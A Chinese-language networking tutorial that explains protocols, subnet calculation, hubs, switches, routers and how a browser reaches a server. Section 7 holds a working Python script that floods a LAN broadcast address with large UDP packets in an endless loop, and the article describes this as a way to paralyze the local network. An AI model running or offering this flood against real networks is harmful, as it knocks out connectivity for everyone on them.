目錄
- 1. 常用的網絡協議
- 2. 數據傳輸過程
- 3. 兩臺電腦通信
- 4. IP地址網絡號與主機號的確定規則
- 5. 最開始集線器解決多臺電腦通信
- 6. 使用交換機進行網絡通信
- 7. 使用udp協議實現內網癱瘓
- 8. 使用路由器連接多個網絡
- 9. 瀏覽器訪問服務器的過程
- 總結
1. 常用的網絡協議

ICMP協議又叫:網絡控制協議
2. 數據傳輸過程

3. 兩臺電腦通信
網絡傳輸的是數據的信號而不是電流

4. IP地址網絡號與主機號的確定規則
通過ip地址和網絡掩碼的二進制數實行按位與運算,計算的結果轉換為十進制,非0的就是網絡號,0的就是主機號

5. 最開始集線器解決多臺電腦通信
但是集線器是以廣播的形式發送數據,設備一多就會導致網絡擁堵。

6. 使用交換機進行網絡通信
單播寫對方的mac地址,廣播mac地址寫6組FF:FF:FF:FF:FF:FF
7. 使用udp協議實現內網癱瘓
先根據IP地址和網絡掩碼二進制按位與計算出網絡號,在使用udp往當前局域網(網絡號)下面無線循環發廣播,使局域網瀕臨癱瘓
import socket # 導入socket
def main():
try:
# 1、創建socket套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 這里是指定UDP協議
# 2、指定地址
data_address = ("192.168.255.255", 64300)
# 地址要是一個 元組,第一個"192.168.100.255"是內網的廣播地址,第二個 64300 是你計算機當前的端口#
# 這個端口不必太在意,64300 只要不是被其他程序占用的就行,
# 3、發送數據
while True:
send_data = "1" * 57175
# 這里發送的數據可以隨意點
udp_socket.sendto(send_data.encode("UTF-8"), data_address)
# 第一個參數sendData.encode("UTF-8")是要發送的數據,("UTF-8")是設置發送數據的編碼,
# 第二個參數(dataAddress)是發送數據的地址,也就是筆者內網的廣播地址
except Exception as result:
print("未知錯誤" + str(result))
if __name__ == '__main__':
main()
8. 使用路由器連接多個網絡
路由器的作用:連接兩個以上的網絡為一個大網絡
網關:具有轉發數據能力的設備
當AB兩臺電腦不在同一個網絡下想進行通信時,A電腦需要先把數據發送到默認網關,網關具有轉發數據的能力,網關再把數據轉發給B電腦,默認網關一般都是路由器


數據在轉發的過程當中,ip地址不變,mac地址每轉發一次就發生一次變化
9. 瀏覽器訪問服務器的過程

(1)向DNS服務器發送請求進行解析域名
(2)向http服務器發送3次握手
(3)握手成功后,向http服務器發送Http格式的請求數據
(4)所有請求完畢后,向http服務器發送4次揮手
網絡數據包發送過程當中源IP目標IP不變,源mac和目標mac每通過路由器網關轉發一次就會發生一次變化
總結
本篇文章就到這里了,希望能給你帶來幫助,也希望您能夠多多關注腳本之家的更多內容!
您可能感興趣的文章:- Python測試網絡連通性示例【基于ping】
- 利用Python實現網絡測試的腳本分享
- python網絡爬蟲精解之Beautiful Soup的使用說明
- 詳解python網絡進程
- Python實現一個簡單三層神經網絡的搭建及測試 代碼解析